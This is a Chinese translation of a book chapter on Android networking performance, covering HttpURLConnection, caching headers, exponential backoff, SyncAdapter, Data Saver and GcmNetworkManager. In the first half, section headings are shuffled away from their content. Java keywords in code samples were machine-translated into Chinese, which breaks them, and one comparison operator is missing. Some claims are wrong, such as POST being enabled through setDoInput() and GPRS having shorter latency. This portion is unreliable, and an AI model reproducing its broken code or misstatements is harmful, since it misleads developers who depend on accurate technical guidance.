安卓高性能编程(三)(安卓支持的编程语言)

安卓高性能编程(三) 原文:zh.annas-archive.org/md5/09787EDC0EF698C9109E8B809C38277C 译者:飞龙 协议:CC BY-NC-SA 4.0 第六

由于URLConnection API 比HttpClient API 更流行,因此HttpClient API 首先被弃用,然后从Android MarshMallow(API 级别23)中删除。因此,除非另有说明,我们仅参考URLConnection API。

您可以将多个外部库导入到项目中以使用各种API,但值得一提的是除了合并下面描述的一些模式之外,还可以处理工作线程上的请求。这省去了您为此目的创建后台线程的麻烦。我们正在谈论Google 的Java HTTP 客户端库。下一节具体提到的时候我也会提到这一点。

在处理互联网访问时,您必须始终征求用户许可。接下来,您需要将以下内容添加到清单文件中:

使用权限android:name=\’android.permission.INTERNET\’ /

让我们从Android 的角度仔细看看图2 中的每个项目是什么样子的。这将帮助您在深入了解最佳实践部分之前更好地理解它们。

第六章:网络

我对使用HTTP 协议进行通信感兴趣。 URLConnection 子类支持的网络协议包括:

HTTP 和HTTPS:HttpUrlConnection 是主类,将在本章的其余部分中介绍。

FTP:没有特定类别的文件传输协议(FTP) 通信。您可以使用默认的URLConnection 类,因为它具有您需要的一切。

文件:可以使用URLConnection 类从文件系统检索本地文件。它基于文件的URI,因此您需要调用以file 开头的URL。

JAR:该协议用于处理JAR文件。 JarUrlConnection 是检索此类文件的合适类。

此类还允许开发人员使用URLStreamHandlerFactory 对象添加其他协议。

演练

HttpURLConnection类提供的主要请求方法有:

GET:这是默认使用的方法,因此您无需配置任何其他内容即可使用它。

POST:可以通过调用URLConnection.setDoInput() 方法来使用。

可以使用URLConnection.setRequestMethod() 方法设置其他方法。

协议

准备请求时,您可能需要添加额外的元数据来告诉服务器您的应用程序的特定状态,或者有关用户或会话的信息等。标头是添加到请求中的键值对。它们还用于更改响应格式、启用压缩或请求特定的HTTP 功能。

有两种特殊方法可用于向请求添加标头和从响应中检索标头。

URLConnection.setRequestProperty()

URLConnection.getHeaderFields()

在下一页,我们将仔细研究一些标题。

方法

URLConnection 类支持两种类型的超时:

连接超时:可以使用URLConnection.setConnectTimeout() 方法设置。客户端等待,直到与服务器的连接成功。等待时间由配置的值决定。如果在配置的时间之后仍未建立连接,则会抛出SocketTimeoutException。

读取超时:这是等待输入流完全读取的最长时间。否则,将引发SocketTimeoutException。要设置它,请使用URLConnection.setReadTimeout() 方法。

在这两种情况下,默认值都是0,表示没有客户端超时。因此,超时由TCP 传输层处理。我们对此无法控制。

头部

当开始与服务器的新连接时,您需要获得响应。您可以使用URLConnection.getContent() 方法以InputStream 形式检索响应的内容。内容有一些需要读取的参数,响应有三个标头控制内容的读取方式。

内容长度:这是由关联标头指定并通过URLConnection.getContentLength() 方法获取的响应长度(以字节为单位)。

内容类型:这是来自URLConnection.getContentType() 方法的内容的MIME 类型。

内容编码:这是用于响应的内容编码类型。使用URLConnection.getContentEncoding() 方法确定要使用的编码。

超时

内容编码值指定响应内容内的压缩类型。客户端可以通过使用Accept-Encoding 标头并指定以下选项之一来请求响应的特定编码:

null 或identity:这些用于请求响应内容不被编码。

gzip:这是默认值。客户端总是请求gzip 压缩的内容。

客户端请求压缩内容,但服务器上可能未启用gzip 压缩。您可以通过检查URLConnection.getContentEncoding() 方法的结果来确定您的内容是否经过压缩。

您需要了解的是,每当您向请求添加Accept-Encoding 标头时,它都会禁用响应的自动解压缩。如果响应内容被压缩,则应该使用GZIPInputStream而不是传统的InputStream。

内容

响应对于策略创建很重要,因为应用程序必须根据响应代码采取不同的行为。 HttpURLConnection.getResponseCode() 方法返回响应代码。您可以使用它来切换应用程序的行为。宏分组是:

2xx: 成功:服务器收到请求并返回响应。

3xx: 重定向:客户端必须采取操作才能继续请求。通常,这会自动发生,并且在大多数情况下您不需要处理这些操作。

4xx: 客户端错误:此响应代码表示请求存在问题。请求可能存在语法错误、请求前需要授权或找不到所请求的资源。

5xx: 服务器错误:如果服务器出现内部问题或某些服务过载,服务器可能会发送包含此代码的响应。

压缩

除了请求和响应参数之外,从客户端的角度来看,您还可以在需要请求时更改应用程序的行为,具体取决于有效的连接类型。您可以使用ConnectionManager API 来确定哪些连接在特定时间处于活动状态。调用ConnectionManager.getActiveNetworkInfo() 来检索NetworkInfo 数据。它可以帮助您了解哪些连接处于活动状态以及它们是否已连接。调用NetworkInfo.getType()方法获取ConnectionManager常量值并比较以下类型:

TYPE_MOBILE

类型_WIFI

类型_WIMAX

以太网类型

蓝牙类型

如果用户需要下载大文件,应避免在移动网络处于活动状态时下载。这是因为它可能比Wi-Fi 连接慢得多,并且可能会导致用户产生意外费用。

检查活动网络不足以了解是否可以发起新的网络请求。要接收响应,您还必须调用NetworkInfo.isConnected() 方法。

您还可以通过使用BroadcastReceiver 并将其注册到ConnectivityManager.CONNECTIVITY_ACTION 事件来监听网络更改。这使您可以了解当活动网络发生变化时会发生什么,因此您可以在Wi-Fi 打开等情况下发起新的请求。

要访问所有这些网络状态操作,您必须从用户那里获得进一步的权限,并将以下内容添加到清单文件中:

执照

android:name=\’android.permission.ACCESS_NETWORK_STATE\’ /

响应代码

上一节讨论的网络理论是我们将概述的最佳实践的起点。考虑要遵循的网络软件架构和模式,以改进应用程序的客户端/服务器通信,从而提高用户对应用程序速度的理解。

连接类型

我们最初表示无法预测向服务器发出远程请求的时间。这通常是正确的,但您可以通过跟踪请求的时间并计算平均值来粗略估计持续时间。这个特定的过程有助于根据延迟定义不同的策略。例如,如果对特定远程资源的响应很快,您可以期望它在相同的连接条件下继续保持快速。

此外,如果响应缓慢,您可以修改您的请求以询问更多信息。一个典型的例子是图像分辨率。如果响应足够快,您可以向服务器请求高分辨率图像。另一方面,如果您预计响应速度较慢,我们建议您请求较低分辨率的图像。这使您可以平衡时间并获得相同的响应能力。

因此,需要设置一定的延迟量,同时考虑到响应是快还是慢。您还可以考虑多个延迟级别来制定策略。这将导致更准确的响应时间估计和更好地实施该模式。

例如,考虑存在三个延迟级别的情况:Wi-Fi 连接的标准延迟、LTE 的较长延迟和GPRS 的较短延迟。以下代码片段显示如何检查连接并应用策略。

ConnectivityManager cm=(ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);

TelephonyManager tm=(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

NetworkInfo activeNetwork=cm.getActiveNetworkInfo();

开关(activeNetwork.getType()) {

案例(ConnectivityManager.TYPE_WIFI):

//应用标准延迟策略

休息;

案例(ConnectivityManager.TYPE_MOBILE): {

开关(tm.getNetworkType()) {

案例(TelephonyManager.NETWORK_TYPE_LTE):

//应用更高延迟策略

休息;

案例(TelephonyManager.NETWORK_TYPE_GPRS):

//应用低延迟策略

休息;

默认:

休息;

}

休息;

}

默认:

休息;

}

最佳实践

每次打开无线电进行连接时,都会消耗大约20 秒的电量,从用户的角度来看,会导致电池电量消耗增加并降低性能。因此,尽可能减少连接数量非常重要。

一种可应用于应用程序的策略是收集客户端和服务器之间交换的所有数据,并在传输的数据量足够的情况下将其保留用于将来的连接。其想法是减少连接数量并增加每个连接传输的数据量。

一个典型的例子是经典分析库。您可以在要跟踪的事件发生时运行连接,也可以收集事件并在一定数量的事件或一定时间后发送到服务器。建议使用第二个选项,因为它减少了通信次数并增加了每个连接传输的数据量。

延迟评估

设计客户端/服务器架构时,减少通信流量始终是一个关键考虑因素。考虑到这一点,您的应用程序的性能可能会超出预期。这是因为如果设计得当,这种架构可以提供丰富的屏幕并减少流量。

在应用程序中使用此模式有两个主要方面。通过发出单个请求来获取更多数据,通过向服务器询问有关应用程序多个部分的信息来减少请求,或者批处理多个连接以避免不必要的无线电就是这样。它可能会耗尽电池电量。我们将在下一页详细讨论它们。

批处理连接

预取是一种减少连接并避免应用程序出现黑屏的特殊技术。其想法是在连接可用时为不同的请求和应用程序的各个部分下载尽可能多的数据。因此,如果可能,您的应用程序应在后台下载数据以填充各个部分并预测可能导致感知性能下降的用户请求。

这需要适当设计。如果使用不当,将下载未使用的数据,这可能导致电池消耗过多并增加带宽。因此,建议将此模式与惰性求值结合使用。估计延迟后,您可以使用不同的预取策略和对服务器的不同级别的资源请求,如评估延迟部分中所述。需要更复杂的预取策略来改善未来的连接机会。

提示

有一些特殊情况可以打开收音机并节省时间。如果请求没有立即执行,则该请求可能会排队等待将来的批量连接。以下代码是这种情况的示例。

公共类传输队列{

私有QueueRequest 队列。

公共无效addRequest(请求请求){

队列.添加(请求);

}

公共无效执行(){

//遍历队列执行

}

}

预取

如前所述,节省时间、带宽和电池电量的最佳方法是不发出网络请求。尽管这并不总是可行,但可以使用缓存技术来减少这些请求。为此,在应用策略时您有多种选择。

有关详细的文件和位图缓存技术,请参阅第10 章“性能提示”。

排队连接

Android Ice Cream Sandwich(API 级别14)提供了一个方便的API,用于缓存对文件系统的响应。我们这里讨论的是HttpResponseCache 类。使用HttpURLConnection 和HttpsURLConnection 类时,可用于保存和重用响应。

使用它时首先要做的是设计合适的缓存大小。您应该设置一个限制,以便它开始删除不必要的条目以释放磁盘空间。接下来,您需要找到合适的数量,以便在不占用太多磁盘空间的情况下删除少量内容。这取决于您的应用程序发出的请求类型以及每个请求下载的数据量。选择缓存大小后,您需要在应用程序启动时安装缓存:

protected void onCreate(bundle 保存实例状态) {

super.onCreate(savedInstanceState);

尝试{

文件httpCacheDir=new File(getCacheDir(), \’http\’);

长httpCacheSize=0;

HttpResponseCache.install(httpCacheDir, httpCacheSize);

} catch(IOException e) {

Log.i(getClass().getName(), \’安装HTTP响应缓存失败:\’ + e);

}

}

这样,对每个网络请求的响应都会缓存在应用程序内存中以备将来需要。您还必须更新Activity.onStop() 方法中的缓存,以便下次启动应用程序时可用。

受保护无效onStop() {

super.onStop();

HttpResponseCache 缓存=HttpResponseCache.getInstalled();

if (缓存!=null) {

缓存.flush();

}

}

下一步是决定是否应该缓存所有请求。根据每个请求的需求,您应该使用以下方式在请求标头中指定预期行为:

connection.addRequestProperty(\’缓存控制\’, POLICY);

POLICY 的值可以是以下之一:

no-cache:此方法需要完全刷新。将下载整个数据。

max-age=SECONDS:如果年龄小于SECONDS 指定的值,则客户端接受响应。

max-stale=SECONDS:如果响应的过期时间不超过指定的SECONDS,则客户端接受响应。

Only-if-cached:强制客户端使用缓存的响应。如果缓存的响应不可用,则URLConnection.getInputStream() 方法可能会抛出FileNotFoundException。

缓存响应

默认情况下禁用网络请求缓存。可以使用HttpResponseCache API 启用。启用HttpResponseCache API 后,来自应用程序的所有网络请求都将使用此API。我们如何处理每个请求缓存取决于我们。

如果您有权访问服务器实现,则最好的选择是将请求过期的服务器端处理委托给响应的缓存控制标头。这样,您只需更改响应标头即可远程更改策略。相反,如果您无权访问服务器端代码,则需要一种策略来处理缓存响应的过期问题。这取决于服务器端的实际响应标头。

缓存控制

使用静态远程资源时,您可以检索特定资源的上次修改日期。这是通过读取响应中的Last-Modified 标头来完成的。此外,您可以读取Expire 标头来检查内容是否仍然有效。我们建议缓存资源的最后修改日期,并将该日期与服务器端日期进行比较。因此,您可以应用缓存策略来更新缓存的资源和图形布局。

以下代码片段是使用此标头的示例。

HttpURLConnection conn=(HttpURLConnection) url.openConnection();

long lastModified=conn.getHeaderFieldDate(\’Last-Modified\’, currentTime);

if (lastModified 最后更新时间) {

//跳过

} 除此之外{

//更新

}

在这种情况下,必须单独选择和实施缓存策略。

提示

还有一种巧妙的方法可以实现与Last-Modified 标头相同的结果。这就是If-Modified-Since 标头。如果请求包含If-Modified-Since 标头,其中包含客户端上次检查资源的日期,则服务器会根据Last-Modified 标头返回不同的状态代码。

200:自上次客户端检查以来远程资源已更改。响应包含预期的资源。

304:远程资源尚未修改。响应不包含任何内容。

这里的巧妙之处在于,如果内容尚未更新,它将不会包含在响应中,从而减少负载并加快客户端/服务器通信的速度。更重要的是,即使服务器没有实现此HTTP 1.1 策略,客户端也可以请求它并始终收到200 OK 响应。因此,将来您可以在客户端实现此逻辑,以从后端服务接收If-Modified-Since 标头。

让我们看看如何使用这个标头。可以显式使用它,如以下代码所示。

HttpURLConnection conn=(HttpURLConnection) url.openConnection();

conn.addRequestProperty(\’If-Modified-Since\’, lastCheckTime);

尝试{

int statusCode=conn.getResponseCode();

开关(状态代码){

案例200:

//内容已改变

//更新缓存内容

//更新缓存的lastCheckedTim

e in cache
break;
case 304:
// Content has not been modified
// Get cached content
break;
}
} catch (IOException e) {
e.printStackTrace();
}

否则,HttpURLConnection类有一个特别的方法可以用来启用请求中的If-Modified-Since头部。它包含在以下代码片段中:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setIfModifiedSince(lastCheckTime);
// status code check…

指数退避

有时我们无法避免轮询。在这些情况下,我们应该在出现问题时处理服务器问题,并使用不同的策略。当服务器因过多的请求或网络流量过大而无法处理时,它开始返回错误。对于这些情况,指数退避策略是正确的选择,可以减轻服务器因大量无用的请求而拒绝服务的压力。这种模式包括如果服务器用错误响应,则在后续请求之间增加暂停时间。这样,我们给服务器一个处理过多请求并恢复正常状态的机会。然后,当服务器恢复正常时,我们可以恢复正确的轮询间隔。

让我们通过一些代码来更好地理解如何实现这样的网络模式:

public class Backoff {
private static final int BASE_DURATION = 1000;
private static final int[] BACK_OFF = new int[]{1, 2, 4, 8, 16, 32, 64};
public static InputStream execute(String urlString) {
for (int attempt = 0; attempt < BACK_OFF.length; attempt++) {
try {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.connect();
return connection.getInputStream();
} catch (SocketTimeoutException | SSLHandshakeException e) {
try {
Thread.sleep(BACK_OFF[attempt] * BASE_DURATION);
} catch (InterruptedException ex) {
throw new RuntimeException(ex);
}
} catch (Exception e) {
return null;
}
}
return null;
}
}

谷歌为 Java 提供的 HTTP 客户端库中也有这种模式的实现。我们可以向HttpRequest对象添加一个UnsuccesfulResponseHandler,传递一个HttpBackOffUnsuccessfulResponseHandler对象。此外,可以在执行前实现一个ExponentialBackOff对象,如下所示:

HttpRequest request = null;
//request initialization…
ExponentialBackOff backoff = ExponentialBackOff.builder()
.setInitialIntervalMillis(1000)
.setMaxElapsedTimeMillis(10000)
.setMaxIntervalMillis(10000)
.setMultiplier(1.5)
.setRandomizationFactor(0.5)
.build();
request.setUnsuccessfulResponseHandler(new HttpBackOffUnsuccessfulResponseHandler(backoff));
HttpResponse httpResponse = request.execute();
//response handling…

请记住,不要将此模式用于表示开发错误的服务器响应码。对于400 (InvalidParameters)或404 (NotFound)响应码,应用它是没有意义的。

轮询与推送

我们讨论了减少连接次数的重要性,因为它们对电池和应用的整体性能有影响。有许多情况我们需要从服务器同步数据,我们首先想到的是创建一个轮询系统以保持应用程序始终更新。然后,客户、产品所有者、项目经理等要求我们改善用户体验,我们减少了轮询间隔,导致应用程序不断向服务器请求更新,尤其是从不关闭连接,从而持续增加 CPU 的负担。此外,如果我们不关心用户使用的连接类型,我们可能会让他用完合同中可用的带宽,只是为了检查服务器上是否有新数据可用。

相反的情况是最佳情况:当服务器端发生更改时,它会联系客户端告知发生了什么。这种方式不会建立不必要的连接,并且客户端始终保持最新。为此,谷歌提供了谷歌云消息传递框架。

然而,有时我们无法更改服务器实现,因为我们无法访问后端代码。无论如何,我们可以通过使用一些巧妙的技巧来改进我们设计的轮询机制:

让用户决定使用哪个间隔:这样用户就能了解应用程序的行为,并在它耗电过多或需要更准确的更新时更改该值。
使用AlarmManager时,使用非精确重复闹钟来执行网络操作。系统会自动批量处理多个连接,减少无线电的活动时间。
当轮询处于激活状态时,我们可以检查服务器上新数据的频率,并应用指数退避模式等待服务器上的新数据,从而减少不必要的连接数量。例如,如果我们的应用程序请求更新,而没有任何更新可用,我们可以让下一个请求在执行前等待两倍的时间,以此类推,直到达到最大值。当有新数据可用时,我们可以恢复默认值并继续这种方式。

提供的 API

在以下页面中,我们希望介绍谷歌提供的一些 API,以改善应用程序的网络部分,并帮助我们以更好的方式开发之前讨论的内容。

同步管理器

SyncManager API 是为了帮助开发者在客户端和服务器之间设计良好的双向同步系统而提供的。在那些我们希望从客户端传输数据到服务器或反之,但不需要立即执行的情况中,它非常有用。在设计我们的应用程序时,框架提供了许多我们必须考虑的优势,因为它可能是正确的选择,并使我们从开发完成所有必要代码中解放出来。框架期望你的应用程序使用ContentProvider在本地存储数据,以便与服务器同步。

它可以将我们的任务添加到队列中,并在满足我们想要的条件时执行它们,例如延迟或在数据更改时等。它可以检查连接性是否可用,并批量连接以减少无线活动时间。它还处理用户的登录信息,以便使用登录凭据将数据同步到服务器。这不是强制性的,因为你可以自己处理登录管理,但你需要定义处理认证的对象。

一旦在我们的应用程序中实现了框架,就可以通过多种方式执行同步操作:

当服务器通知客户端某些内容已更改。这是避免轮询方法的最佳方式,如之前讨论的。最好的方法是使用 Google Cloud Messaging:当收到消息时,只需调用ContentResolver.performSync()方法来开始新的同步。
当客户端发生某些变化,需要同步以使远程服务中的信息保持更新。与前面的情况一样,调用ContentResolver.performSync()方法。
当系统通知现在是合适的时间去做这件事,因为有一个为许多其他连接打开的连接。这时,我们需要使用ContentResolver.setSyncAutomatically()方法。
当由于需要定期同步操作而间隔时间到期时。使用ContentResolver.addPeriodicSync()方法,指定间隔。
当我们希望在没有任何特定条件的情况下开始新的同步时。在这种情况下,调用ContentResolver.performSync()方法。

让我们在以下段落中了解框架的实现。

认证器

Authenticator类可以通过继承AbstractAccountAuthenticator类并实现需要提供服务器上正确认证的每个抽象方法来创建。下面的代码段显示了我们需要实现的方法(如果没有认证,你可以使用这个默认实现并将其作为模拟):

public class Authenticator extends AbstractAccountAuthenticator {
public Authenticator(Context context) {
super(context);
}
@Override
public Bundle editProperties(AccountAuthenticatorResponse response, String accountType){return null;}
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options){return null;}
@Override
public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options){return null;}
@Override
public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}
@Override
public String getAuthTokenLabel(String authTokenType) {return null;}
@Override
public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}
@Override
public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features){return null;}
}

为了使我们的Authenticator工作,我们需要创建一个绑定服务以提供对Authenticator的访问。它可以像下面代码段中的简单服务:

public class AuthenticatorService extends Service {
private Authenticator mAuthenticator;
@Override
public void onCreate() {
mAuthenticator = new Authenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
return mAuthenticator.getIBinder();
}
}

身份验证器的参数需要在 XML 文件中以以下方式声明:

<account-authenticator
android:accountType=\”accountExample\”
android:icon=\”@mipmap/ic_launcher\”
android:smallIcon=\”@mipmap/ic_launcher\”
android:label=\”@string/app_name\”/>

最后,我们需要在清单文件中添加service,并指定最近创建的身份验证器:

<service
android:name=\”.syncmanager.AuthenticatorService\”>
<intent-filter>
<action android:name=\”android.accounts.AccountAuthenticator\”/>
</intent-filter>
<meta-data
android:name=\”android.accounts.AccountAuthenticator\”
android:resource=\”@xml/authenticator\” />
</service>

同步适配器

SyncAdapter类负责在服务器和客户端之间执行同步。可以通过以下方式扩展AbstractThreadedSyncAdapter类来创建:

public class SyncAdapter extends AbstractThreadedSyncAdapter {
ContentResolver contentResolver;
public SyncAdapter(Context context, boolean autoInitialize) {
super(context, autoInitialize);
contentResolver = context.getContentResolver();
}
public SyncAdapter(Context context, boolean autoInitialize, boolean allowParallelSyncs) {
super(context, autoInitialize, allowParallelSyncs);
contentResolver = context.getContentResolver();
}
@Override
public void onPerformSync(Account account, Bundle extras, String authority, ContentProviderClient provider, SyncResult syncResult) {
// code to execute the transfer…
}
}

ContentResolver类用于在SyncAdapter.onPerformSync()方法中查询ContentProvider。框架不下载或上传数据,也不处理ContentProvider。我们需要根据需要自行处理,但SyncAdapter.onPerformSync()方法在后台线程中执行,因此我们无需为此目的创建新的线程。

对于Authenticator类,我们需要为这个SyncAdapter也提供一个绑定的服务:这样我们就可以从绑定组件中引用SyncAdapter,以便在我们想要时启动新的同步。为此,我们可以创建以下服务,并小心地在Service.onCreate()方法中实例化SyncAdapter以作为单例使用:

public class SyncAdapterService extends Service {
private static SyncAdapter syncAdapter = null;
private static final Object lock = new Object();
@Override
public void onCreate() {
synchronized (lock) {
if (syncAdapter == null) {
syncAdapter = new SyncAdapter(getApplicationContext(), true);
}
}
}
@Override
public IBinder onBind(Intent intent) {
return syncAdapter.getSyncAdapterBinder();
}
}

SyncAdapter的参数必须在 XML 文件中以下列方式声明:

<sync-adapter
android:contentAuthority=\”authorityExample\”
android:accountType=\”accountExample\”
android:userVisible=\”false\”
android:supportsUploading=\”false\”
android:allowParallelSyncs=\”false\”
android:isAlwaysSyncable=\”true\”/>

最后,我们需要在清单文件中声明服务,并提供有关提供的SyncAdapter的信息:

<service
android:name=\”.syncmanager.SyncAdapterService\”
android:exported=\”true\”
android:process=\”:sync\”>
<intent-filter>
<action android:name=\”android.content.SyncAdapter\”/>
</intent-filter>
<meta-data android:name=\”android.content.SyncAdapter\”
android:resource=\”@xml/syncadapter\” />
</service>

Android N 的变化

从网络的角度来看,Android N 在系统行为中引入了一些变化。我们需要了解这些变化,因为如果不理解清楚,它们可能导致不想要的结果。以下是这些变化:

数据节省器:这是一个新模式,用户可以启用它以在后台节省昂贵的数据使用,ConnectivityManager类提供了一种新的方式来访问这些设置
后台优化:不再发送通知应用程序连接性已发生变化的广播

在接下来的几页中,我们将通过这些变化来了解如果我们针对新的 Android N SDK 的应用程序,我们能做什么。

数据节省器

在 Android N 中引入的新数据节省器功能,用户可以通过防止数据计划中的意外费用来节省数据流量。用户如何应用这些策略?在设备设置选项中,用户可以检查单个应用程序在后台时访问数据。不允许在后台接收数据的应用程序可以读取用户偏好及其更改。图 3展示了在搭载新 Android N 的设备上,新的数据节省器功能的外观:

图 3:设备设置内的数据节省器功能及其详情

让我们看看它是如何工作的。Android N SDK 在ConnectionManager API 中提供了新的方法来检查用户偏好。主要方法是:

ConnectionManager.getRestrictedBackgroundStatus()

它返回以下之一:

RESTRICT_BACKGROUND_STATUS_DISABLED:当数据节省器被禁用时返回。
RESTRICT_BACKGROUND_STATUS_ENABLED:当启用 数据节省 时返回;现在应用程序不应当在后台使用网络。
RESTRICT_BACKGROUND_STATUS_WHITELISTED:当启用 数据节省 但应用程序被列入白名单时返回。即使应用程序被列入白名单,在启用 数据节省 时,应用程序也应限制网络请求。

应用程序应在每种情境下都满足用户的性能预期。这就是为什么我们应该使用此 API 来检查用户偏好,然后根据这些偏好来改变应用程序行为的原因。

一旦我们检查了用户对 数据节省 的偏好,我们就应该检查当前连接类型是否为计量的。一个 计量连接 是指由于费用和数据计划问题,不应用来下载大量数据的连接。要了解当前连接是否为计量连接,我们可以使用 ConnectivityManager.isActiveNetworkMetered() 方法。

检查以下代码,了解如何同时处理 数据节省 设置和计量网络的情况:

ConnectivityManager connectionManager = (ConnectivityManager)
getSystemService(Context.CONNECTIVITY_SERVICE);
// Checks if the active network is a metered one
if (connectionManager.isActiveNetworkMetered()) {
// Checks user\’s Data Saver preference.
switch (connectionManager.getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
// Data Saver is enabled and, then, the application shouldn\’t use the network in background
break;
case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
// Data Saver is enabled, but the application is //whitelisted. The application should limit //the network request while the Data Saver //is enabled even if the application is whitelisted
break;
case RESTRICT_BACKGROUND_STATUS_DISABLED:
// Data Saver is disabled
break;
}
} else {
// The active network is not a metered one.
// Any network request can be done
}

新 API 还提供了一种监听与 数据节省 相关的用户偏好变化的方法。为此,我们只需注册 BroadcastReceiver 来监听新添加的 ConnectionManager.ACTION_RESTRICT_BACKGROUND_CHANGE 动作。

当我们的 BroadcastReceiver 收到此类动作时,我们应该检查活动网络和 数据节省 选项的新偏好,如前一段所述,然后相应地操作,以便应用程序能够展现出用户预期的适当行为:

public class DataSaverActivity extends Activity {
private BroadcastReceiver dataSaverPreferenceReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
ConnectivityManager connectionManager = (ConnectivityManager)
getSystemService (Context.CONNECTIVITY_SERVICE);
// Checks if the active network is a metered one
if (connectionManager.isActiveNetworkMetered()) {
// Checks user\’s Data Saver preference.
switch (connectionManager. getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
// Data Saver is enabled and, then, the //application shouldn\’t use the //network in background
break;
case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
// Data Saver is enabled, but the //application is whitelisted. The //application should limit the network //request while the Data Saver //is enabled even if the application //is whitelisted
break;
case RESTRICT_BACKGROUND_STATUS_DISABLED:
// Data Saver is disabled
break;
}
} else {
// The active network is not a metered one.
// Any network request can be done
}
}
};
@Override
protected void onStart() {
super.onStart();
IntentFilter filter = new IntentFilter(ConnectivityManager. ACTION_RESTRICT_BACKGROUND_CHANGE);
registerReceiver(dataSaverPreferenceReceiver, filter);
}

}

此特定事件不会传递给声明了隐式 BroadcastReceiver 来监听它的应用程序。这一特定政策限制了后台工作;我们将在后续页面中进行解释。

后台优化

我们在第四章 内存 中探讨了这一主题,当时讨论了连接变化对后台进程内存的影响。我们希望从网络的角度再次审视这个问题,以了解如何改变应用程序在后台的工作方式。

安卓 N 真正改变了什么?有一个特定的动作可以通过使用 Android BroadcastReceiver 类的主要组件传递给应用程序。我们知道,BroadcastReceiver 可以通过意图以两种主要方式进行注册:

隐式地:你可以在清单文件中为组件声明一个意图过滤器对象。
显式地:你可以在组件内部使用 Context.registerReceiver() 方法注册 BroadcastReceiver。

从组件状态的角度来看,它们之间的区别在于,如果你使用显式方法,组件已经被创建,而使用隐式方法,则会启动组件的新实例。这种行为导致后台操作被执行,然后系统需要额外的努力;这影响了资源、内存和电池。

因此,谷歌决定改变这一行为,针对特定的动作:ConnectionManager.CONNECTIVITY_ACTION。因此,如果应用程序针对的是 Android N,这个动作将只由注册了接收器的组件以显式方式接收到;然而,如果使用隐式方式,组件将不再接收它。

正如我们将在以下页面看到的,这可以非常有助于了解设备上何时激活了新的连接状态,以便在后台启动新请求,然后更新一些数据以预取内容。从 Android N 开始,这将不再可能,但谷歌提供了一些替代方案,以其他方式达到这一目标:

JobScheduler
GcmNetworkManager

这些框架使用特定的机制来检查在开始与外部资源的新通信之前是否满足所需的网络条件。然后,我们可以像以前一样安排操作来预取数据,而无需注意某些条件。

GcmNetworkManager

谷歌提供了一个有用的 API,名为GcmNetworkManager。它位于谷歌服务 API 的 Google Cloud Messaging 包内。它封装了前面讨论的模式,并增加了更多功能。它提供了以下功能:

调度一次性任务
调度周期性任务
指数退避重试实现:在出现错误的情况下,可以使用指数退避重试策略再次安排任务
服务实现:任务的状态与应用程序实现无关,可以在重启和重新启动后保持持久化
网络状态依赖的任务调度:可以根据特定的网络状态来安排任务的执行
设备充电状态任务调度:只有当设备处于充电模式时,才能安排任务的执行

服务的实现

这是一个易于使用的 API,其灵活性使得我们可以在许多不同的情况下使用它。让我们通过以下代码来了解其实现方法。首先,我们需要通过继承GcmTaskService类来创建我们的服务:

public class MyGcmTaskService extends GcmTaskService {
public static final String MY_TASK = \”myTask\”;
@Override
public int onRunTask(TaskParams taskParams) {
switch (taskParams.getTag()) {
case MY_TASK:
//task code…
if (success)
return GcmNetworkManager.RESULT_SUCCESS;
else
return GcmNetworkManager.RESULT_RESCHEDULE;
}
return GcmNetworkManager.RESULT_SUCCESS;
}
}

GcmTaskService.onRunTask()方法是我们要开发请求的地方。作为参数使用的TaskParameter对象有助于在TaskParams.getTag()方法中识别已请求的哪个请求,并在TaskParams.getExtras()方法中可选地识别其他参数。每个新请求都会创建一个新线程:因此,GcmTaskService.onRunTask()方法在工作者线程中执行,我们无需为此目的担心创建新线程。

当执行请求代码时,我们需要返回一个整数值,指示接下来要做什么:

GcmNetworkManager.RESULT_SUCCESS:任务已无错误执行,可以从队列中移除
GcmNetworkManager.RESULT_FAILURE:任务遇到一些错误并失败,但必须从队列中移除
GcmNetworkManager.RESULT_RESCHEDULE:任务失败,但我们希望稍后使用退避策略再次执行

由于它是一个service,我们必须在清单文件中声明它:

<service
android:name=\”.MyGcmTaskService\”
android:exported=\”true\”
android:permission=\”com.google.android.gms.permission. BIND_NETWORK_TASK_SERVICE\”>
<intent-filter>
<action android:name=\”com.google.android.gms.gcm. ACTION_TASK_READY\” />
</intent-filter>
</service>

任务调度

让我们看看如何调度一个任务。首先,我们需要获取GcmNetworkManager实例:

GcmNetworkManager mGcmNetworkManager = GcmNetworkManager.getInstance(getApplicationContext());

然后,我们需要使用Task的其中一个子类来创建一个任务:

OneoffTask:
OneoffTask task = new OneoffTask.Builder()
.setService(MyGcmTaskService.class)
.setTag(MyGcmTaskService.MY_TASK)
.setExecutionWindow(0, 1000L)
.build();
PeriodicTask:
PeriodicTask task = new PeriodicTask.Builder()
.setService(MyGcmTaskService.class)
.setTag(MyGcmTaskService.MY_TASK)
.setPeriod(5L)
.build();

最后,我们需要使用GcmNetworkManager实例以以下方式调度任务:

mGcmNetworkManager.schedule(task);

任务特性

这两种Task类型都有一些特定的参数需要更仔细地查看,因为此 API 的大部分灵活性在于这些参数。它们从Task类继承了公共参数:因此,我们将在以下页面中查看它们。

任务

每个Task都包含以下参数:

string tag:这是用于启动GcmTaskService实现内部正确执行的代码的任务标识符。
bundle extras:这用于传递额外信息到Service,以便正确执行任务。
class service:这是用于处理调度的GcmTaskService的标识符。
boolean isPersisted:如果设置为true,则任务将被持久化并在重启后执行。只有当调用者持有接收启动完成事件的正确权限时,它才会工作:
<uses-permission android:name=\”android.permission.RECEIVE_BOOT_COMPLETED\” />
